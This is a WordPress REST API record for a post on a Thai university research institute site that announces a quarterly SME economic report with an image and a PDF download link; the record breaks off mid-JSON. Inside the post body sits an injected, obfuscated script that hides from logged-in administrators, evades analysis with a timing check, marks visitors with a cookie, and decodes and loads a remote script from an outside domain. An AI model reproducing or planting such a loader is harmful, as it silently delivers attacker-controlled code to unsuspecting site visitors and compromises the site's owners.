{
    "id": 4472,
    "date": "2026-05-06T09:51:52",
    "date_gmt": "2026-05-06T02:51:52",
    "guid": {
        "rendered": "https:\/\/research.bru.ac.th\/?p=4472"
    },
    "modified": "2026-06-07T02:39:34",
    "modified_gmt": "2026-06-06T19:39:34",
    "slug": "%e0%b8%a3%e0%b8%b2%e0%b8%a2%e0%b8%87%e0%b8%b2%e0%b8%99%e0%b8%a0%e0%b8%b2%e0%b8%a7%e0%b8%b0%e0%b9%80%e0%b8%a8%e0%b8%a3%e0%b8%a9%e0%b8%90%e0%b8%81%e0%b8%b4%e0%b8%88-smes-q4-2568-%e0%b9%81%e0%b8%a5",
    "status": "publish",
    "type": "post",
    "link": "https:\/\/research.bru.ac.th\/en\/?p=4472",
    "title": {
        "rendered": "\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08"
    },
    "content": {
        "rendered": "<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4473 size-full lazyload\" data-src=\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg\" alt=\"\" width=\"787\" height=\"1125\" data-srcset=\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg 787w, https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme-210x300.jpg 210w, https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme-716x1024.jpg 716w, https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme-105x150.jpg 105w\" data-sizes=\"(max-width: 787px) 100vw, 787px\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" style=\"--smush-placeholder-width: 787px; --smush-placeholder-aspect-ratio: 787\/1125;\" \/><noscript><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4473 size-full\" src=\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg\" alt=\"\" width=\"787\" height=\"1125\" srcset=\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg 787w, https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme-210x300.jpg 210w, https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme-716x1024.jpg 716w, https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme-105x150.jpg 105w\" sizes=\"(max-width: 787px) 100vw, 787px\" \/><\/noscript><br \/>\n\u0e14\u0e32\u0e27\u0e19\u0e4c\u0e42\u0e2b\u0e25\u0e14 : <a href=\"https:\/\/www.sme.go.th\/uploads\/file\/20260422-162815_SME-Editorial_Q4-2025_17Apr.pdf\" target=\"_blank\" rel=\"noopener\">https:\/\/www.sme.go.th\/uploads\/file\/20260422-162815_SME-Editorial_Q4-2025_17Apr.pdf<\/a><\/p>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>",
        "protected": false
    },
    "excerpt": {
        "rendered": "<p>\u0e14\u0e32\u0e27\u0e19\u0e4c\u0e42\u0e2b\u0e25\u0e14 : https:\/\/www.sme.go.th\/uploads\/file\/20260422-162815_SME-Editorial_Q4-2025_17Apr.pdf &nbsp;<\/p>",
        "protected": false
    },
    "author": 2,
    "featured_media": 4473,
    "comment_status": "closed",
    "ping_status": "closed",
    "sticky": false,
    "template": "",
    "format": "standard",
    "meta": {
        "inline_featured_image": false,
        "ngg_post_thumbnail": 0,
        "footnotes": ""
    },
    "categories": [
        16
    ],
    "tags": [],
    "acf": [],
    "yoast_head": "<!-- This site is optimized with the Yoast SEO Premium plugin v22.5 (Yoast SEO v22.5) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 - \u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/research.bru.ac.th\/en\/?p=4472\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08\" \/>\n<meta property=\"og:description\" content=\"\u0e14\u0e32\u0e27\u0e19\u0e4c\u0e42\u0e2b\u0e25\u0e14 : https:\/\/www.sme.go.th\/uploads\/file\/20260422-162815_SME-Editorial_Q4-2025_17Apr.pdf &nbsp;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/research.bru.ac.th\/en\/?p=4472\" \/>\n<meta property=\"og:site_name\" content=\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/RDIBuriramrajabhatuniversity\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-06T02:51:52+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-06-06T19:39:34+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"787\" \/>\n\t<meta property=\"og:image:height\" content=\"1125\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472#article\",\"isPartOf\":{\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472\"},\"author\":{\"name\":\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32\",\"@id\":\"https:\/\/research.bru.ac.th\/#\/schema\/person\/72736adf337a54cc9c3b15d426b32fca\"},\"headline\":\"\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08\",\"datePublished\":\"2026-05-06T02:51:52+00:00\",\"dateModified\":\"2026-06-06T19:39:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472\"},\"wordCount\":16,\"publisher\":{\"@id\":\"https:\/\/research.bru.ac.th\/#organization\"},\"image\":{\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472#primaryimage\"},\"thumbnailUrl\":\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg\",\"articleSection\":[\"\u0e1a\u0e17\u0e04\u0e27\u0e32\u0e21\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472\",\"url\":\"https:\/\/research.bru.ac.th\/?p=4472\",\"name\":\"\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 - \u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c\",\"isPartOf\":{\"@id\":\"https:\/\/research.bru.ac.th\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472#primaryimage\"},\"image\":{\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472#primaryimage\"},\"thumbnailUrl\":\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg\",\"datePublished\":\"2026-05-06T02:51:52+00:00\",\"dateModified\":\"2026-06-06T19:39:34+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/research.bru.ac.th\/?p=4472\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472#primaryimage\",\"url\":\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg\",\"contentUrl\":\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg\",\"width\":787,\"height\":1125},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/research.bru.ac.th\/?p=4472#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/research.bru.ac.th\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/research.bru.ac.th\/#website\",\"url\":\"https:\/\/research.bru.ac.th\/\",\"name\":\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/research.bru.ac.th\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/research.bru.ac.th\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/research.bru.ac.th\/#organization\",\"name\":\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c\",\"url\":\"https:\/\/research.bru.ac.th\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/research.bru.ac.th\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2024\/08\/cropped-LOGO-bru-227x300-1.png\",\"contentUrl\":\"https:\/\/research.bru.ac.th\/wp-content\/uploads\/2024\/08\/cropped-LOGO-bru-227x300-1.png\",\"width\":512,\"height\":512,\"caption\":\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c\"},\"image\":{\"@id\":\"https:\/\/research.bru.ac.th\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/RDIBuriramrajabhatuniversity\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/research.bru.ac.th\/#\/schema\/person\/72736adf337a54cc9c3b15d426b32fca\",\"name\":\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/research.bru.ac.th\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/769f0840df5eecc0660b44ab2123d3ec?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/769f0840df5eecc0660b44ab2123d3ec?s=96&d=mm&r=g\",\"caption\":\"\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32\"},\"url\":\"https:\/\/research.bru.ac.th\/en\/?author=2\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->",
    "yoast_head_json": {
        "title": "\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 - \u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c",
        "robots": {
            "index": "index",
            "follow": "follow",
            "max-snippet": "max-snippet:-1",
            "max-image-preview": "max-image-preview:large",
            "max-video-preview": "max-video-preview:-1"
        },
        "canonical": "https:\/\/research.bru.ac.th\/en\/?p=4472",
        "og_locale": "en_US",
        "og_type": "article",
        "og_title": "\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08",
        "og_description": "\u0e14\u0e32\u0e27\u0e19\u0e4c\u0e42\u0e2b\u0e25\u0e14 : https:\/\/www.sme.go.th\/uploads\/file\/20260422-162815_SME-Editorial_Q4-2025_17Apr.pdf &nbsp;",
        "og_url": "https:\/\/research.bru.ac.th\/en\/?p=4472",
        "og_site_name": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c",
        "article_publisher": "https:\/\/www.facebook.com\/RDIBuriramrajabhatuniversity",
        "article_published_time": "2026-05-06T02:51:52+00:00",
        "article_modified_time": "2026-06-06T19:39:34+00:00",
        "og_image": [
            {
                "width": 787,
                "height": 1125,
                "url": "https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg",
                "type": "image\/jpeg"
            }
        ],
        "author": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32",
        "twitter_card": "summary_large_image",
        "twitter_misc": {
            "Written by": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32",
            "Est. reading time": "1 minute"
        },
        "schema": {
            "@context": "https:\/\/schema.org",
            "@graph": [
                {
                    "@type": "Article",
                    "@id": "https:\/\/research.bru.ac.th\/?p=4472#article",
                    "isPartOf": {
                        "@id": "https:\/\/research.bru.ac.th\/?p=4472"
                    },
                    "author": {
                        "name": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32",
                        "@id": "https:\/\/research.bru.ac.th\/#\/schema\/person\/72736adf337a54cc9c3b15d426b32fca"
                    },
                    "headline": "\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08",
                    "datePublished": "2026-05-06T02:51:52+00:00",
                    "dateModified": "2026-06-06T19:39:34+00:00",
                    "mainEntityOfPage": {
                        "@id": "https:\/\/research.bru.ac.th\/?p=4472"
                    },
                    "wordCount": 16,
                    "publisher": {
                        "@id": "https:\/\/research.bru.ac.th\/#organization"
                    },
                    "image": {
                        "@id": "https:\/\/research.bru.ac.th\/?p=4472#primaryimage"
                    },
                    "thumbnailUrl": "https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg",
                    "articleSection": [
                        "\u0e1a\u0e17\u0e04\u0e27\u0e32\u0e21"
                    ],
                    "inLanguage": "en-US"
                },
                {
                    "@type": "WebPage",
                    "@id": "https:\/\/research.bru.ac.th\/?p=4472",
                    "url": "https:\/\/research.bru.ac.th\/?p=4472",
                    "name": "\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 - \u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c",
                    "isPartOf": {
                        "@id": "https:\/\/research.bru.ac.th\/#website"
                    },
                    "primaryImageOfPage": {
                        "@id": "https:\/\/research.bru.ac.th\/?p=4472#primaryimage"
                    },
                    "image": {
                        "@id": "https:\/\/research.bru.ac.th\/?p=4472#primaryimage"
                    },
                    "thumbnailUrl": "https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg",
                    "datePublished": "2026-05-06T02:51:52+00:00",
                    "dateModified": "2026-06-06T19:39:34+00:00",
                    "breadcrumb": {
                        "@id": "https:\/\/research.bru.ac.th\/?p=4472#breadcrumb"
                    },
                    "inLanguage": "en-US",
                    "potentialAction": [
                        {
                            "@type": "ReadAction",
                            "target": [
                                "https:\/\/research.bru.ac.th\/?p=4472"
                            ]
                        }
                    ]
                },
                {
                    "@type": "ImageObject",
                    "inLanguage": "en-US",
                    "@id": "https:\/\/research.bru.ac.th\/?p=4472#primaryimage",
                    "url": "https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg",
                    "contentUrl": "https:\/\/research.bru.ac.th\/wp-content\/uploads\/2026\/05\/sme.jpg",
                    "width": 787,
                    "height": 1125
                },
                {
                    "@type": "BreadcrumbList",
                    "@id": "https:\/\/research.bru.ac.th\/?p=4472#breadcrumb",
                    "itemListElement": [
                        {
                            "@type": "ListItem",
                            "position": 1,
                            "name": "Home",
                            "item": "https:\/\/research.bru.ac.th\/"
                        },
                        {
                            "@type": "ListItem",
                            "position": 2,
                            "name": "\u0e23\u0e32\u0e22\u0e07\u0e32\u0e19\u0e20\u0e32\u0e27\u0e30\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08 SMEs Q4\/2568 \u0e41\u0e25\u0e30\u0e41\u0e19\u0e27\u0e42\u0e19\u0e49\u0e21\u0e40\u0e28\u0e23\u0e29\u0e10\u0e01\u0e34\u0e08"
                        }
                    ]
                },
                {
                    "@type": "WebSite",
                    "@id": "https:\/\/research.bru.ac.th\/#website",
                    "url": "https:\/\/research.bru.ac.th\/",
                    "name": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c",
                    "description": "",
                    "publisher": {
                        "@id": "https:\/\/research.bru.ac.th\/#organization"
                    },
                    "potentialAction": [
                        {
                            "@type": "SearchAction",
                            "target": {
                                "@type": "EntryPoint",
                                "urlTemplate": "https:\/\/research.bru.ac.th\/?s={search_term_string}"
                            },
                            "query-input": "required name=search_term_string"
                        }
                    ],
                    "inLanguage": "en-US"
                },
                {
                    "@type": "Organization",
                    "@id": "https:\/\/research.bru.ac.th\/#organization",
                    "name": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c",
                    "url": "https:\/\/research.bru.ac.th\/",
                    "logo": {
                        "@type": "ImageObject",
                        "inLanguage": "en-US",
                        "@id": "https:\/\/research.bru.ac.th\/#\/schema\/logo\/image\/",
                        "url": "https:\/\/research.bru.ac.th\/wp-content\/uploads\/2024\/08\/cropped-LOGO-bru-227x300-1.png",
                        "contentUrl": "https:\/\/research.bru.ac.th\/wp-content\/uploads\/2024\/08\/cropped-LOGO-bru-227x300-1.png",
                        "width": 512,
                        "height": 512,
                        "caption": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32 \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c"
                    },
                    "image": {
                        "@id": "https:\/\/research.bru.ac.th\/#\/schema\/logo\/image\/"
                    },
                    "sameAs": [
                        "https:\/\/www.facebook.com\/RDIBuriramrajabhatuniversity"
                    ]
                },
                {
                    "@type": "Person",
                    "@id": "https:\/\/research.bru.ac.th\/#\/schema\/person\/72736adf337a54cc9c3b15d426b32fca",
                    "name": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32",
                    "image": {
                        "@type": "ImageObject",
                        "inLanguage": "en-US",
                        "@id": "https:\/\/research.bru.ac.th\/#\/schema\/person\/image\/",
                        "url": "https:\/\/secure.gravatar.com\/avatar\/769f0840df5eecc0660b44ab2123d3ec?s=96&d=mm&r=g",
                        "contentUrl": "https:\/\/secure.gravatar.com\/avatar\/769f0840df5eecc0660b44ab2123d3ec?s=96&d=mm&r=g",
                        "caption": "\u0e2a\u0e16\u0e32\u0e1a\u0e31\u0e19\u0e27\u0e34\u0e08\u0e31\u0e22\u0e41\u0e25\u0e30\u0e1e\u0e31\u0e12\u0e19\u0e32"
                    },
                    "url": "https:\/\/research.bru.ac.th\/en\/?author=2"
                }
            ]
        }
    },
    "_links": {
        "self": [
            {
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=\/wp\/v2\/posts\/4472"
            }
        ],
        "collection": [
            {
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=\/wp\/v2\/posts"
            }
        ],
        "about": [
            {
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=\/wp\/v2\/types\/post"
            }
        ],
        "author": [
            {
